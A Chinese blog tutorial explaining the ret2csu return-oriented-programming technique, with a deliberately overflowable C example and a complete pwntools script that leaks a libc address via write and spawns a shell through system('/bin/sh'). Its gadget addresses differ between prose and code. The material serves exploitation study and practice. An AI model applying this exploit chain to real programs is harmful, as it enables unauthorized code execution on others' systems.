栈溢出之ret2csu

64位程序,函数的前六个参数存储在 rdi、rsi、rdx、rcx、r8、r9,其余的参数放在栈上

在ret2libc的时候,需要知道libc的基址,然后才能知道具体的库函数地址

那么首要的问题就是泄露出libc基址,如果有puts、printf函数还好说,倘若给一个write函数,那么泄露地址就成了一个棘手的问题了

因为write函数的原型是这样的 :ssize_t write(int fd,void*buf,size_t count),它有三个参数

我们用ROPgadget来查询:ROPgadget --binary filename --only 'pop|ret'

很容易可以找到前两个参数的gadget,(1)pop rdi ; ret(2)pop rsi ; pop r15 ; ret

但是很遗憾找不到类似的pop rdx;ret; 

如果rdx为零,眼看着可以去调用write函数,但是leak不出地址

 

还好,在 __libc_csu_init()函数里有一段gadget可以用,我们写个例子测试一下:

#include<stdio.h>
#include<unistd.h>
int main(){
    char str1[0x20]={"hello world!"};
    char str2[0x20];
    write(1,str1,0x18);
    read(0,str2,0x100);
    return 0;
}

编译一下:gcc -g -fno-stack-protector hello.c -o hello

用ida反编译它,在__libc_csu_init(),有一段汇编代码是这样的:

 

 

从0x40069A开始,会把栈里的数据依次弹给 rbx rbp r12 r13 r24 r15 等寄存器

更好的是它执行完这段代码之后还有一个retn,起到pop rip的作用,这样就可以控制 rip ,继续劫持程序流程

把程序流程转到0x400680,mov rdx,r13; mov rsi,r14; mov edi,r15d; 三条指令,会把r15 r14 r13的值赋给edi,rsi,rdx

那就完整的控制了3个参数,不仅如此,接下来的一条指令还会把r12+rbx*8的值当做地址,去获得一个数据,把所获得的数据当做函数地址去调用

比如把rbx设为0,把r12设为write_got,就会调用write函数,因为write_got里存储的是write函数的地址

调用完write函数后,我们希望接着执行retn指令,以控制程序流程

那么就需要绕过0x400694处的判断,jnz是指在zf值为0时跳转(可能是!zf的意思吧),上一条的cmp rbx,rbp指令,会比较rbx和rbp,两者相等的话zf将被设置为1

我们希望rbx=rbp 来绕过这个跳转,刚才把rbx设为0,在0x40068d:add rbx,1 之后,它的值为1,因此我们需要把rbp的值也设为1

 此时,就不需要再重视这一串pop指令了,重要的是其后的retn

一共6个pop 那就需要0x30个数据,加上一个add rsp ,8 (栈由高地址向低地址生长,加8就是降一格,忽略掉栈顶的那8个a),总共0x38个数据

综合这一长串,就可以写payload了

针对这个例子,利用代码如下:

 

from pwn import *
context.log_level="debug"

sh=process("./hello")
elf=ELF("./hello")
pop_rdi=p64(0x400613)
ret=p64(0x400419)
csu_1 = 0x4005f0
csu_2 = 0x40060a

payload=b'a'*0x48+p64(csu_2)
#write(1,elf.got['write'],8)
payload+=p64(0)                        #rbx
payload+=p64(1)                        #rbp
payload+=p64(elf.got['write'])         #r12 
payload+=p64(8)                        #r13 => rdx
payload+=p64(elf.got['write'])         #r14 => rsi
payload+=p64(1)                        #r15 => rdi
payload+=p64(csu_1)                    #rip
#add rsp ;pop pop ... retn
payload+=b'a'*0x38+p64(elf.sym['main'])

sh.sendlineafter('hello world!'+"\x00"*12,payload)

libc_write = u64(sh.recv(8))
libc_base=libc_write-0x0f7370
sys=libc_base+0x0453a0
binsh=libc_base+0x18ce17
info(hex(libc_write))
info(hex(libc_base))

payload=b'a'*0x48+pop_rdi+p64(binsh)+ret+p64(sys)
sh.sendlineafter('hello world!',payload)

sh.interactive()

 

ret2csu的例子就说到这里了

 

posted @ 2021-02-07 22:27  田埂  阅读(717)  评论(0编辑  收藏  举报